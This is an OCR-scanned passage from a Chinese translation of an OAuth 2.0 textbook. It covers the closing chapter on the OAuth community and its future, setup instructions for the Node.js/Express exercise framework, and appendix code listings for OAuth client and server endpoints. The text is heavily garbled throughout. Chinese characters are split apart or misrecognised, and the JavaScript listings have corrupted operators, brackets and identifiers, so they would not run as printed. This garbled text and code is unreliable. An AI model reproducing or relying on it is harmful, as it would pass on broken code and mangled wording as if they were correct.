了 主动 丢弃 令 牌 的 途径 。 为 什么 这 不 是 OAuth 的 通用 功能 呢 ? 在 某 些 系统 中 , OAuth 令 牌 是 完全 
自 包 含 且 无 状态 的 ， 且 没有 一 个 合理 的 方式 通过 资源 服务 器 的 分 布 式 系统 传送 “撤销 ”事件 。 在 
另 一 些 系统 中 ， 客 户 端 被 认为 对 令 牌 状态 完全 轻信 ， 这 种 主动 的 撤销 措施 没有 什么 意义 。 但 是 ， 
对 于 令 牌 有 状态 且 客 户 端 相 对 智能 的 系统 ， 令 牌 撤销 能 够 使 安全 性 有 所 增强 。 

相 比 之 下 ，OAuth 可 以 用 来 构建 许多 不 同 的 协议 。 第 13 章 已 详细 介绍 了 ， 虽 然 OAuth 本 身 
不 是 身份 认证 协议 , 但 可 以 用 于 构建 身份 认证 协议 。 此 外 ， 我 们 还 见识 了 OAuth 的 配置 规范 和 
应 用 (如 HEART 和 iGov ) 是 如 何 将 大 型 社区 聚合 在 一 起 并 实现 互通 的 。 这些 工 作对 OAuth 的 选 
项 和 扩展 制定 了 一 系列 配置 规范 , 形成 可 供 其 他 人 遵循 的 模式 。OAuth 还 可 以 用 于 构建 更 复杂 的 
协议 ， 比 如 将 OAuth 授权 模式 扩展 到 多 方 的 UMA。 


16.4 社区 


OAuth 在 互联 网 上 拥有 莲 勃 发 展 的 社区 , 有 大 量 资源 和 讨论 , 还 有 随时 可 以 提供 帮助 的 专家 。 
你 在 本 书 中 已 经 看 到 ， 构 建 OAuth 生态 系统 时 需要 做 出 许多 决策 ， 面 对 类 似 的 情况 ， 互 联网 上 
的 其 他 人 很 可 能 已 经 做 出 过 选择 。 你 会 发 现 很 多 开源 项 目 、 大 公司 、 敏 捷 的 创业 公司 、 大 量 的 咨 
询 人 员 ， 还 有 至 少 一 本 出 色 的 书 (我 们 希望 如 此 )， 可 以 帮助 你 型 清楚 OAuth 是 什么 。 在 选择 使 
用 这 个 安全 系统 时 ， 你 不 会 感到 孤独 ， 当 遇 到 问题 时 ， 会 有 各 方 力 量 提 供 帮 助 。 

OAuth 工作 组 仍 在 致力 于 完善 协议 及 其 扩展 , 读者 ( 没 错 , 就 是 你 ) 也 可 以 加 入 到 讨论 中 来 。 
“如 果 你 有 比 OAuth 更 好 的 方案 , 或 者 需要 在 OAuth 之 上 添加 一 些 特殊 功能 来 满足 自己 的 使 用 需 

































































































































































4 





















































(D https://tools.ietf.org/wg/oauth/ 
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求 , 抑或 需要 一 个 具有 不 同 前 提 和 部 署 特征 的 许可 类 型 , 都 可 以 通过 任何 方式 参与 到 工作 组 的 讨 
论 中 来 。 

因为 OAuth 不 由 某 个 公司 制定 ， 也 不 被 某 个 公司 拥有 ， 甚 至 没有 像 许多 开源 项 目 那 样 的 基 
金 会 ， 所 以 它 没有 官方 的 品牌 和 市 场 营销 来 让 大 众 熟 知 。 不 过 ,社区 再 一 次 起 作用 了 。OAuth 的 
公共 汽车 乘 车 币 标志 是 由 Chris Messina 绘制 并 提交 给 社区 的 ， 尽 管 严格 来 说 它 并 不 是 官方 的 。 
OAuth 协议 甚至 还 有 一 个 超级 酷 的 非 官 方 吉祥 物 : OAuth-tan ( 如 图 16-1 Brzs )! ” 







































































图 16-1 OAuth-tan! 没有 她 的 授权 ， 你 胆敢 私 冶 她 的 地 盘 














这 个 社区 得 以 自然 发 展 有 这 样 几 个 原因 。 首 先 ， 也 是 最 重要 的 ，OAuth 解决 了 一 个 实际 的 问 
题 。 开 发 OAuth 1.0 和 2.0 时 正 值 API 和 移动 应 用 经 济 兴起 之 际 ，OAuth 适时 地 提供 了 一 个 被 迫 
切 需要 的 安全 层 。 其 次 ,也 是 同样 重要 的 ，OAuth 是 一 个 开放 协议 。 它 不 由 任何 一 家 公司 拥有 或 
控制 , 任何 人 都 可 以 构建 实施 而 不 需要 支付 版 税 或 许可 费用 。 这 意味 着 一 个 庞大 社区 的 出 现 , 里 
面 有 各 种 软件 、 代 码 库 以 及 示例 项 目 ， 以 各 种 形式 让 OAuth 开 箱 即 用 。 如 果 找 不 到 你 所 喜欢 的 
平台 对 应 的 资源 , 怎么 办 ? 很 可 能 会 有 其 他 语言 的 类 似 实现 , 你 可 以 把 它们 搬 过 来 , 行动 起 来 吧 。 

OAuth 相对 简单 。 当 然 ， 你 已 经 读 完 了 这 么 厚 的 关于 此 话题 的 资料 ， 如 果 你 不 够 小 心 ,还 是 
会 很 快 遇 到 问题 。 但 是 与 之 前 出 现 的 那些 系统 (Kerberos, SAML, WS-*) 的 复杂 性 相 比 ， 这 些 
问题 微不足道 。 我们 已 经 看 到 , 这 对 于 OAuth 生态 系统 中 的 主要 构成 部 件 一 一 客户 端 一 一 尤其 如 此 。 
在 简单 性 上 的 平衡 让 它 可 以 以 更 平易 近 人 的 方式 被 采用 ， 从 而 将 更 多 的 开发 人 员 带 入 这 一 领域 。 


16.5 未 来 


第 2 章 介 绍 的 OAuth 之 舞 在 当今 互联 网 技术 领域 中 风头 正 劲 ,但 谁 也 无 法 保证 这 样 的 势头 会 
一 直 持 续 。 尽 管 OAuth 2.0 可 以 倚 仗 其 强大 的 功能 以 及 易 用 的 特性 在 一 段 时 间 内 固守 其 江湖 地 位 ， 
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CD 由 Yuki Goto 许可 使 用 。 
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但 技术 必然 是 不 断 向 前 发 展 的 。 

在 OAuth 世界 内 部 ， 已 经 出 现 了 像 PoP 令 牌 标准 化 这 样 的 工作 。PoP 规范 以 全 新 的 方式 将 
JOSE 技术 应 用 于 OAuth， 使 得 PoP 令 牌 比 bearer 令 牌 具 有 更 高 的 安全 性 ， 但 代价 是 增加 了 一 些 
复杂 度 。 因 此 ,它们 可 能 仅 在 有 需要 时 才 会 被 部 署 ， 并 且 一 般 会 与 bearer 令 牌 同 时 部 署 。 将 来 可 
能 还 会 有 其 他 形式 的 令 牌 出 现 ， 比 如 绑 定 到 TLS 层 ， 或 者 使 用 全 新 的 加 密 机 制 

如 今 的 OAuth 中 已 经 加 入 了 足够 多 的 扩展 和 组 件 , 有 可 能 在 将 来 的 OAuth 2.1 或 者 OAuth 3.0 
中 会 将 这 些 组 件 合并 为 一 个 紧凑 的 规范 套件 , 会 比 现在 这 样 分 散 的 文档 更 容易 阅读 。 即 使 要 做 这 
牛 事情 ， 这 种 改编 工作 也 是 一 个 长 期 的 进程 。 

最 后 ， 几 乎 可 以 断定 , 终 有 一 天 OAuth 会 被 更 新 、 更 优秀 的 方案 所 取代 。OAuth 现在 还 很 年 
轻 ， 它 直接 依赖 HTTP, Web 浏览 器 和 JSON。 虽 然 这 些 技 术 的 寿命 可 能 会 持续 很 入， 但 它们 不 
可 能 一 直 保持 现状 。 就 像 OAuth 取代 Kerberos, WS-Trust 和 SAML 一 样 ， 也 会 有 新 的 技术 出 现 
并 取代 OAuth， 它 们 都 值得 关注 。 

但 在 此 之 前 ，OAuth 会 继续 发 挥 它 的 作用 ， 依 然 值得 我 们 学 习 和 使 用 。 
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16.6 小结 


这 真是 一 段 充实 的 旅程 。 我 们 从 OAuth 2.0 的 核心 定义 开始 ， 了 解 其 中 的 角色 、 组 件 以 及 它 
们 之 间 的 相互 连接 , 再 从 头 开 始 构建 一 个 完整 的 生态 系统 。 之 后 又 退回 去 探讨 了 哪些 环节 可 能 会 
出 现 漏 洞 ， 以 及 如 何 修复 。 然 后 深入 介绍 了 OAuth 周边 的 协议 ， 包 括 OpenID Connect ffl UMA, 
最 后 展望 了 未 来 可 能 会 应 用 到 OAuth 中 的 PoP 令 牌 和 TLS 令 牌 绑 定 。 

接 下 来 该 做 什么 呢 ? 是 时 候 用 它 来 构建 你 自己 的 系统 了 。 你 还 可 以 去 搜寻 优秀 的 库 、 贡 献 开 
项 目 以 及 参与 标准 社区 。 毕 竞 ， OAuth 中 的 功能 并 不 是 无 缘 无 故 出 现 的 ， 你 所 构建 的 功能 会 在 
你 真正 关心 的 系统 中 派 上 有 用场。 现在， 你 已 掌握 了 如 何 使 用 OAuth 进行 授权 以 及 相关 的 其 他 安 
全 功能 ， 可 以 集中 精力 到 真正 的 工作 上 了 : 构建 自己 的 应 用 、API 或 者 生态 系统 。 

感谢 你 的 一 路 相伴 。 和 希望 你 在 这 上 段 旅途 中 与 我 们 同样 开心 。 
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代码 框架 介绍 








本 书 使 用 运行 在 服务 端 JavaScript 引 敬 Node.js 上 的 Web 应 用 框架 Express.js 来 开发 JavaScript 
应 用 。 虽 然 示例 本 身 是 用 JavaScript 编写 的 ， 但 示例 中 的 所 有 概念 都 可 以 轻松 移植 到 其 他 平台 和 











应 用 框架 中 。 我 们 已 经 在 代码 中 尽量 避 开 了 JavaScript 语言 的 特异 性 ( 例如 闭 包 和 函数 回调 ), 因 








为 本 书 的 目标 不 是 让 读者 精通 JavaScript。 代 码 中 的 非 OAuth 专用 功能 会 使 用 第 三 方 库 ， 以 便 你 

















专注 于 本 书 的 核心 目标 : 详细 了 解 OAuth 协议 的 工作 原理 。 


在 实际 应 用 中 ， 我 们 在 出 











手动 编写 的 许多 函数 都 应 该 使 用 OAuth 库 来 处 理 。 但 是 ， 














本 书 会 


手动 实现 这 些 功 能 ， 让 你 亲身 体验 OAuth 的 功能 ,但 又 不 会 陷入 Node.js 应 用 的 细节 。 本 书 中 的 
所 有 代码 均 可 在 GitHub “上 找到 。"” 每 个 练习 都 在 独立 的 目录 中 ， 按 章节 编号 和 示例 编号 排序 。 





首先 ， 需要 在 使 用 的 平台 上 安装 Node.js 和 Node & 38 








Har CNPM )， 才 能 运行 应 用 。 各 个 平 


台 上 的 安装 方式 会 有 差异 ， 例 如 , 在 运行 MacPorts 的 Mac OS X 系 统 上 ， 可 以 使 用 以 下 命令 进行 


安装 。 


> sudo port install node 
» sudo port install npm 


可 以 通过 查询 它们 的 版 本 号 来 验证 是 否 已 正确 安装 ， 如 果 安 装 成 功 会 显示 如 下 消息 。 

















> node -v 
v4.4.1 
» npm -v 
ds d 





安装 完 这 些 基础 设施 之 后 ， 就 可 以 将 示例 代码 解压 出 来 。 进 入 ap-A-ex-0 目录 并 运行 npm 
install 命令 , 为 本 示例 安装 依赖 项 。 此 操作 会 下 载 所 有 依赖 包 , 并 将 它们 安装 到 node modules 
目录 中 。NPM 程序 会 自动 安装 所 有 的 项 目 依赖 包 并 列 出 它们 的 信息 ， 输 出 结果 如 下 所 示 。 





ap-A-ex-0» npm install 
underscore81.8.3 node modules/underscore 








body-parserG1.13.2 node modules/body-parser 





(D https://github.com/oauthinaction/oauth-in-action-code/ 


@ 你 也 可 以 访问 图 灵 社 





区 的 相关 页 面 并 点 








F “BEEF”: http://www.ituring.com.cn/book/2013。 一 一 编者 注 
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content-type@1.0.1 
bytes@2.1.0 


你 的 控制 台 上 会 打印 出 很 多 信息 ， 在 此 没有 全 部 复制 过 来 。 











send@0.13.0 (destroy@1.0.3, statuses@1.2.1, ms@0.7.1, mime@1.3.4, http-errors@1.3.1) 
accepts@1.2.11 (negotiator@0.5.3, mime-types@2.1.3) 
type-is@1.6.5 (media-typer@0.3.0, mime-types@2.1.3) 


完成 这 些 之 后 ， 目 录 中 就 应 该 已 经 包含 示例 所 需 的 所 有 代码 了 。 











M 


注意 每 一 个 练习 都 需要 单独 运行 npm install. 


每 个 示例 都 包含 3 个 JavaScript 源 码 文件 :client.js 、authorizationServer.js 和 protectedResource.js， 
还 有 一 些 其 他 依赖 文件 和 库 。 需 要 分 别 使 用 noae 命令 来 运行 这 3 个 文件 ， 并 日 建议 在 不 同 的 终 
端 窗口 中 运行 ， 以免 日 志文 件 混淆 。 它 们 的 启动 顺序 不 重要 , 但 大 多 数 示例 需要 将 这 3 个 文件 全 
部 运行 起 来 。 

例如 ， 运 行 客户 端 应 用 应 该 在 终端 窗口 中 产生 如 下 输出 。 











> node client.js 
OAuth Client is listening at http://127.0.0.1:9000 


授权 服务 絮 是 这 样 启动 的 : 








> node authorizationServer.js 
OAuth Authorization Server is listening at http://127.0.0.1:9001 


受 保护 资源 是 这 样 启动 的 : 








> node protectedResource.js 
OAuth Protected Resource is listening at http://127.0.0.1:9002 


建议 在 不 同 的 终端 窗口 中 运行 这 3 个 组 件 , 这 样 做 就 能 够 在 运行 时 观察 它们 的 输出 ( 如 图 A-1 
所 示 )。 























图 A-1 同时 运行 各 个 组 件 的 3 个 终端 窗口 


每 个 组 件 都 运行 在 不 同 的 进程 中 ， 并 监听 localhost 的 不 同 端口 : 
O OAuth 客户 端 应 用 (clientjs ) 运行 在 http:/localhost:9000/; 
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O OAuth 授权 服务 器 应 用 (C authorizationServer.js ) 运行 在 http://localhost:9001/; 
O OAuth 受 保 护 资 源 应 用 ( protectedResource.js ) 运行 在 http://localhost:9002/。 

所 有 应 用 都 提供 了 静态 文件 服务 ， 比 如 图 片 和 层 又 样式 表 ( CSS )。 这 些 文件 都 包含 在 项 目 
目录 中 ， 不 需要 编辑 。 另 外 ， 目 录 中 还 有 HTML 模板 文件 。 应 用 会 使 用 这 些 HTML 模板 根据 不 
同 输入 生成 HTML 页 面 。 在 应 用 开始 的 地 方 使 用 模板 的 设置 代码 如 下 所 示 。 
































app.engine('html', cons.underscore); 
app.set('view engine', 'html'); 
app.set('views', 'files'); 


练习 中 不 需要 编辑 模板 ， 但 偶尔 会 因 功 能 展示 的 需要 而 查阅 模板 。 我 们 使 用 Underscore.js 
模板 系统 和 Consolidate.js 库 来 创建 和 管理 示例 中 的 所 有 模板 。 可 以 将 变量 传递 给 模板 ， 并 使 用 
res 对 象 上 的 renaer 方法 来 演 染 输出 ， 如 下 所 示 。 












































res.render('index', (access token: access_token}); 


一 个 示例 中 的 3 个 源码 文件 都 不 包含 实际 功能 , 但 是 如 果 你 能 看 到 它们 的 欢迎 页 面 ， 则 说 
明 依 赖 都 已 正确 安装 并 且 能 正常 运行 。 比 如 ， 在 Web 浏览 器 中 访问 OAuth 客户 端的 URL http:// 
localhost:9000/， 应 该 会 看 到 如 图 A-2 所 示 的 页 面 。 











OAuth in Action: OAuth Client 





This is the shell for the OAuth Client. This provides no actual functionality. 


Access token value: RJA 
Scope value: RJA 


Refresh token value: RJA 


et OAuth Toker Get Protected Resource 








图 A-2 ”客户 端的 主页 
同样 ，http://localhost:9001/ 上 授权 服务 器 的 页 面 如 图 A-3 所 示 。 
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This is the shell for the OAuth Authorization Server. This provides no actual functionality. 


Client information: 


* client id: oauth-client-i 

ə client secret: oauth-client-secret-1 
* Scope: foo bar 

+ redirect uri: 


Server information: 


+ authorization endpoint: http://localhost:9001/authorize 
e token endpoint: http://localhost:9001/token 


图 A-3 ”授权 服务 器 的 主页 面 


http://localhost:9002/ 上 受 保护 资源 的 页 面 如 图 A-4 所 示 (请 注意 ， 受 保护 资源 通常 是 没有 用 
户 界面 的 )。 








This is the shell for the OAuth Protected Resource. This provides no actual functionality 


To access the resource, send a POST request to http://localhost:9002/resource and 
include a valid OAuth token. 


图 A-4 受 保护 资源 的 主页 面 
为 了 给 应 用 添加 HTTP 处 理 函 数 , 我 们 需要 向 Express.js 应 用 对 象 添加 路 由 。 在 每 个 路 由 中 ， 
告诉 应 用 监听 哪个 HTTP 方法 ， 匹 配 什么 样 的 URL 模式 ， 以 及 条 件 匹配 时 调用 哪个 函数 。 该 函 


A A 对 象 作 为 参数 ,例如 ,下 面 的 例子 监听 /foo 上 的 HTTP GET 
请 求 ， 并 调用 给 定 的 匿名 函数 。 


app.get('/foo', function (req, res) ( 











)); 


所 有 练习 都 遵循 同样 的 约定 ， 用 rea 引用 请 求 对 象 , 用 res 引用 响应 对 象 。 请 求 对 象 包含 
传人 的 HTTP 请 求 的 相关 信息 ， 包 括 头 部 、URL 、 查 询 参 数 以 及 其 他 信息 。 响 应 对 象 用 于 通过 
HTTP 响应 返回 信息 ， 包 括 状态 码 、 头 部 、 响 应 主体 以 及 其 他 信息 。 
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练习 中 会 使 用 全 局 变量 存储 大 量 的 状态 信息 ， 并 在 每 个 文件 的 顶部 声明 。 在 真实 的 Web 应 
HF, 所 有 这 些 状态 都 应 该 与 用 户 会 话 绑 定 ， 而 不 应 维护 在 应 用 的 全 局 变量 中 。 原 生 应 用 中 用 于 
本 地 用 户 会 话 身份 认证 功能 的 方法 , 可 能 会 与 我 们 的 框架 所 使 用 的 方法 类 似 , 但 是 会 依赖 宿主 操 
作 系 统 的 功能 。 

本 书 使 用 这 个 简单 的 框架 来 构建 OAuth 客户 端 、 受 保护 资源 和 授权 服务 器 。 在 大 多 数 情况 
下 ， 每 个 练习 都 已 经 做 好 几乎 所 有 的 准备 工作 ， 你 只 需要 将 对 应 练习 正在 讨论 的 与 OAuth 相关 
的 小 功能 补 上 即 可 。 

在 练习 目录 的 completed 目录 中 可 以 找到 每 个 练习 的 完整 代码 。 如 果 遇 到 了 问题 ， 可 以 打开 
这 个 目录 中 的 文件 来 寻找 “官方 ”答案 。 









































补充 代码 清 : 








本 附录 包含 全 书 所 有 练习 的 补充 代码 清单 。 在 正文 中 , 我 们 只 关注 了 与 所 需 功 能 关系 紧密 的 


那 部 分 代码 ， 并 没有 给 出 完整 的 代码 ， 你 可 以 随时 到 GitHub 上 查阅 。 不 过 与 其 在 章节 讨论 中 展 





示 零 散 的 代码 片段 ,不 如 将 它们 集中 起 来 , 列 入 更 完整 的 上 下 文中 , 会 更 有 助 于 理解 。 所 以 下 面 


列 出 了 本 书 所 引用 的 一 些 较 大 的 函数 。 
代码 清单 1 授权 请 求 处 理 函 数 (第 3 章 练习 1 ) 


app.get('/authorize', function(req, res)( 
access token - null; 


state - randomstring.generate(); 


var authorizeUrl = buildUrl(authServer.authorizationEndpoint, 
response type: 'code', 
client id: client.client id, 
redirect uri: client.redirect uris[0], 
state: state 
)); 


console.log("redirect", authorizeUrl); 
res.redirect(authorizeUrl); 


5x 


代码 清单 2 ”回调 处 理 及 令 牌 请 求 (第 3 章 练习 1) 
app.get('/callback', function(reqg, res)( 


if (req.query.error) ( 


res.render('error', (error: req.query.error)); 
return; 

) 

if (req.query.state !- state) ( 


console.log('State DOES NOT MATCH: expected $s got $s', 
query.state); 
res.render('error', (error: 
return; 


'State value did not match')); 


( 


state, req. 
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var code = req.query.code; 


var form data = qs.stringify(( 
grant type: 'authorization code', 
code: code, 
redirect uri: client.redirect uris[0] 


var headers = { 
'Content-Type': 'application/x-www-form-urlencoded', 
'Authorization': 'Basic ' « encodeClientCredentials(client.client id, 


client.client secret) 


var tokRes = request('POST', authServer.tokenEndpoint, ( 
body: form data, 
headers: headers 

3); 


console.log('Requesting access token for code $s',code); 


if (tokRes.statusCode »- 200 && tokRes.statusCode « 300) ( 
var body - JSON.parse(tokRes.getBody()); 


access token - body.access token; 
console.log('Got access token: $s', access token); 


res.render('index', (access token: access token, scope: scope)); 


) else { 
res.render('error', (error: 'Unable to fetch access token, server 
response: ' + tokRes.statusCodeJ) 


j 
rs 


` iE : A, Y A IE 
代码 清单 3 ”获取 受 保护 资源 (第 3 章 练习 1 ) 
app.get('/fetch resource', function(req, res) ( 
if (l!access token) ( 
res.render('error', (error: 'Missing Access Token']); 
console.log('Making request with access token $s', access token); 
var headers = { 
'Authorization': 'Bearer ' + access token 
ju 
var resource - request('POST', protectedResource, 


(headers: headers] 
Ys 
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if (resource.statusCode >= 200 && resource.statusCode < 300) ( 
var body - JSON.parse(resource.getBody()); 
res.render('data', (resource: body}); 


return; 
} else ( 
access, token = null; 
res.render('error', (error: resource.statusCode)); 
return; 


ys 


代码 清单 4 刷新 访问 令 牌 (第 3 章 练习 2 ) 
app.get('/fetch resource', function(req, res) ( 


console.log('Making request with access token $s', access token); 


var headers - ( 
'Authorization': 'Bearer ' + access token, 
'Content-Type': 'application/x-www-form-urlencoded' 


Js 


var resource - request('POST', protectedResource, 
(headers: headers] 
); 


if (resource.statusCode »- 200 && resource.statusCode « 300) ( 
var body - JSON.parse(resource.getBody()); 
res.render('data', (resource: body}); 
return; 
} else ( 
access, token = null; 
if (refresh token) ( 
refreshAccessToken(reg, res); 


return; 
} else ( 
res.render('error', (error: resource.statusCode]); 
return; 
} 
)); 
var refreshAccessToken - function(req, res) ( 


var form data = qs.stringify(( 
grant type: 'refresh token', 
refresh token: refresh token 
)); 
var headers = ( 
'Content-Type': 'application/x-www-form-urlencoded', 
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'Authorization': 'Basic ' + encodeClientCredentials(client.client id, 
client.client secret) 
B 
console.log('Refreshing token $s', refresh token); 
var tokRes = request('POST', authServer.tokenEndpoint, { 
body: form data, 
headers: headers 
3); 
if (tokRes.statusCode »- 200 && tokRes.statusCode « 300) ( 
var body - JSON.parse(tokRes.getBody()); 


access token - body.access token; 
console.log('Got access token: $s', access token); 
if (body.refresh token) ( 
refresh token - body.refresh token; 
console.log('Got refresh token: $s', refresh token); 
} 
scope = body.scope; 
console.log('Got scope: %s', scope); 


res.redirect('/fetch resource'); 
return; 

) else { 
console.log('No refresh token, asking the user to get a new access 
token'); 
refresh token - null; 
res.render('error', (error: 'Unable to refresh token.')); 
return; 

j 

Js 


代码 清单 5 提取 访问 令 牌 (第 4 章 练 习 1) 
Var getAccessToken = function(req, res, next) { 


var inToken - null; 

var auth - req.headers['authorization']; 

if (auth && auth.toLowerCase().indexOf('bearer') -- 0) ( 
inToken - auth.slice('bearer '.length); 

) else if (req.body && req.body.access token) ( 
inToken - req.body.access token; 

) else if (req.query && req.query.access token) ( 
inToken - req.query.access token 

j 

js 


代码 清单 6 ”查找 令 牌 (第 4 章 练习 1) 
Var getAccessToken = function(req, res, next) { 


var inToken - null; 
var auth - req.headers['authorization']; 


附录 B 补充 代码 清单 269 





if (auth && auth.toLowerCase().indexOf('bearer') -- 0) ( 
inToken - auth.slice('bearer '.length); 

) else if (req.body && req.body.access token) ( 
inToken = req.body.access token; 

) else if (req.query && req.query.access token) ( 
inToken - req.query.access token 


console.log('Incoming token: $s', inToken); 
nosql.one(function(token) ( 
if (token.access token == inToken) { 
return token; 
} 
}, function(err, token) ( 
if (token) ( 
console.log("We found a matching token: $s", inToken); 
} else ( 
console.log('No matching token was found.'); 
} 
req.access token = token; 
next(); 
return; 
)); 
s 


代码 清单 7 授权 端点 (第 5 章 练 习 1) 
app.get("/authorize", function(req, res)( 


var client - getClient(req.query.client id); 


if (!client) ( 
console.log('Unknown client $s', req.query.client id); 


res.render('error', (error: 'Unknown client')); 
return; 
) else if (! .contains(client.redirect uris, req.query.redirect uri)) 


{ 
console.log ('Mismatched redirect URI, expected %s got $s', 
client.redirect_uris, req.query.redirect uri); 
res.render('error', (error: 'Invalid redirect URI')); 
return; 

} else ( 


var reqid = randomstring.generate(8); 


requests[reqid] = req.query; 


res.render('approve', (client: client, reqgid: reqid )); 
return; 
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代码 清单 8 ”处理 用 户 许 可 (第 5 章 练习 1) 
app.post('/approve', function(req, res) { 
var reqid = req.body.regid; 
var query = requests[regid]; 


delete requests[regid]; 


if (1!query) ( 


res.render('error', (error: 'No matching authorization request')); 


return; 


if (req.body.approve) ( 


if (query.response type -- 'code') ( 
var code - randomstring.generate(8); 
codes[code] = ( request: query ); 


var urlParsed - buildUrl(query.redirect uri, ( 
code: code, 
State: query.state 
3): 
res.redirect(urlParsed); 
return; 
) else ( 
var urlParsed - buildUrl(query.redirect uri, ( 
error: 'unsupported response type' 
js 
res.redirect(urlParsed); 
return; 
j 
) else { 
var urlParsed - buildUrl(query.redirect uri, ( 
error: 'access denied' 
Jj 
res.redirect(urlParsed); 
return; 


Hs 


代码 清单 9 令 牌 端点 〈 第 5 36252] 1) 
app.post("/token", function(req, res)( 


var auth - req.headers['authorization']; 

if (auth) ( 
var clientCredentials = decodeClientCredentials (auth); 
var clientId = clientCredentials.id; 
var clientSecret - clientCredentials.secret; 
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if (req.body.client id) ( 
if (clientid) ( 
console.log('Client attempted to authenticate with multiple 
methods'); 
res.status(401).json((error: 'invalid client')); 
return; 


var clientId - req.body.client id; 
var clientSecret - req.body.client secret; 





var client = getClient(clientId); 

if (!client) ( 
console.log('Unknown client $s', clientId); 
res.status(401).json((error: 'invalid client')); 
return; 


if (client.client secret !- clientSecret) ( 
console.log('Mismatched client secret, expected $s got $s', 
client.client secret, clientSecret); 
res.status(401).json((error: 'invalid client')); 
return; 


if (req.body.grant type == 'authorization code') ( 
var code - codes[req.body.code]; 
if (code) ( 
delete codes[req.body.codel; // 授权 码 已 被 使 用 ， 要 废弃 掉 
if (code.request.client id -- clientId) { 
var access token - randomstring.generate(); 
nosql.insert(( access token: access token, client id: 
clientId )); 


console.log('Issuing access token $s', access token); 


var token, response = { access token: access token, 
token type: 'Bearer' }; 


res.status(200).json(token response); 


console.log('Issued tokens for code $s', req.body.code); 


return; 

} else ( 
console.log('Client mismatch, expected %s got $s', 
code.request.client id, clientId); 
res.status(400).json((error: 'invalid grant')); 
return; 


} else ( 
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console.log('Unknown code, %s', req.body.code); 
res.status(400).json((error: 'invalid grant')); 
return; 
j 
) else { 
console.log('Unknown grant type %s', req.body.grant type); 
res.status(400).json((error: 'unsupported grant type')); 


)); 


代码 清单 10 ”刷新 访问 令 牌 CS 5 章 练习 2 ) 


) else if (req.body.grant type -- 'refresh token') ( 
nosql.one(function(token) ( 
if (token.refresh token -- req.body.refresh token) ( 


return token; 
j 
), function(err, token) ( 
if (token) ( 
console.log("We found a matching refresh token: $s", req.body. 
refresh token); 


if (token.client id !- clientId) ( 
nosql.remove(function(found) ( return (found -- token); 
), function () () ): 
res.status(400).json((error: 'invalid grant')); 
return; 


j 
var access token - randomstring.generate(); 
nosql.insert(( access token: access token, client id: 


clientId }); 
var token response = { access token: access token, token type: 
'Bearer', refresh token: token.refresh token j; 
res.status(200).json(token response); 
return; 

) else { 


console.log('No matching token was found.'); 
res.status(400).json((error: 'invalid grant')); 
return; 


rr. 


代码 清单 11 ”内 省 端点 (第 11 草 练 习 4 ) 


app.post('/introspect', function(req, res) ( 
var auth - req.headers['authorization']; 
var resourceCredentials - decodeClientCredentials (auth); 
var resourceId = resourceCredentials.id; 
var resourceSecret - resourceCredentials.secret; 


var resource - getProtectedResource(resourceId); 
if (!resource) ( 
console.log('Unknown resource %s', resourceId); 
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res.status(401).end(); 
return; 


if (resource.resource secret !- resourceSecret) { 
console.log('Mismatched secret, expected $s got %s', resource. 
resource secret, resourceSecret); 
res.status(401).end(); 
return; 


var inToken - req.body.token; 
console.log('Introspecting token $s', inToken); 
nosql.one(function(token) ( 
if (token.access token == inToken) { 
return token; 
} 
}, function(err, token) ( 
if (token) ( 
console.log("We found a matching token: $s", inToken); 


var introspectionResponse = { 
active: true, 
iss: 'http://localhost:9001/', 
aud: 'http://localhost:9002/', 
Sub: token.user ? token.user.sub : undefined, 


username: token.user ? token.user.preferred username 


undefined, 


Scope: token.scope ? token.scope.join(' ') : undefined, 


client id: token.client id 
un 


res.status(200).json(introspectionResponse); 
return; 

} else ( 
console.log('No matching token was found.'); 


var introspectionResponse = { 

active: false 
un 
res.status(200).json(introspectionResponse); 
return; 


代码 清单 12 令 牌 撤回 端点 (第 11 38282] 5) 


app.post('/revoke', function(req, res) ( 
var auth - req.headers['authorization']; 
if (auth) ( 
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// 检查 authorization 头 部 

var clientCredentials = decodeClientCredentials (auth); 
var clientId = clientCredentials.id; 

var clientSecret - clientCredentials.secret; 


// 否则 ， 检 查 post 消息 主体 
if (req.body.client id) ( 
if (clientrid) ( 

// 如 果 客 户 端 凭据 已 经 存在 于 authorization 头 部 ， 则 提示 错误 
authorization header, this is an error 
console.log('Client attempted to authenticate with multiple 
methods'); 
res.status(401).json((error: 'invalid client')); 
return; 


var clientId - req.body.client id; 
var clientSecret - req.body.client secret; 





var client = getClient(clientId); 

if (!client) ( 
console.log('Unknown client $s', clientId); 
res.status(401).json((error: 'invalid client')); 
return; 


if (client.client secret !- clientSecret) ( 
console.log('Mismatched client secret, expected $s got $s', client. 
client secret, clientSecret); 
res.status(401).json((error: 'invalid client')); 
return; 


var inToken - req.body.token; 
nosqgl.remove(function(token) ( 
if (token.access token == inToken && token.client id == clientId) ( 
return true; 
} 
}, function(err, count) { 
console.log("Removed %s tokens", count); 
res.status(204).end(); 
return; 


)); 
)); 
代码 清单 13 ”注册 端点 (第 12 章 练习 1) 
app.post('/register', function (req, res)( 


var reg = (3); 
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if (!req.body.token endpoint auth method) ( 
reg.token endpoint auth method - 'secret basic'; 
} else ( 
reg.token endpoint auth method = req.body.token endpoint auth method; 


if (! .contains(['secret basic', 'secret post', 'none'], reg.token 
endpoint, auth method)) { 


res.status(400).json((error: 'invalid, client metadata')); 
return; 


if (!req.body.grant types) ( 
if (!req.body.response types) ( 


reg.grant types - ['authorization code']; 
reg.response types - ['code']; 
} else ( 
reg.response types - req.body.response types; 
if (  .contains(req.body.response types, 'code')) ( 
reg.grant types - ['authorization code']; 
} else ( 


reg.grant, types - []; 


} 
} else { 
if (!req.body.response types) { 
reg.grant types = req.body.grant types; 


if (  .contains(req.body.grant types, 'authorization code')) ( 
reg.response types -['code']; 
j else ( 
reg.response types - []; 
} 
} else { 


reg.grant types = req.body.grant types; 
reg.reponse types - req.body.response types; 
if (  .contains(req.body.grant types, 'authorization code') && 
!  .contains(req.body.response types, 'code')) ( 
reg.response types.push('code'); 
} 
if (! .contains(req.body.grant types, 'authorization code') 
&& _ .contains(req.body.response types, 'code')) ( 
reg.grant types.push('authorization code'); 


if (! .isEmpty(  .without(reg.grant types, 'authorization code', 
'refresh token')) | 
!  .isEmpty(  .without(reg.response types, 'code'))) ( 
res.status(400).json((error: 'invalid client metadata')); 
return; 
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if (!req.body.redirect uris || ! .isArray(req.body.redirect uris) |l 
. .isEmpty 
(req.body.redirect uris)) ( 
res.status(400).json((error: 'invalid redirect uri')); 
return; 
) else { 
reg.redirect uris - req.body.redirect uris; 


if (typeof(req.body.client name) -- 'string') ( 
reg.client name - req.body.client name; 


if (typeof(req.body.client uri) == 'string') ( 
reg.client uri - req.body.client uri; 


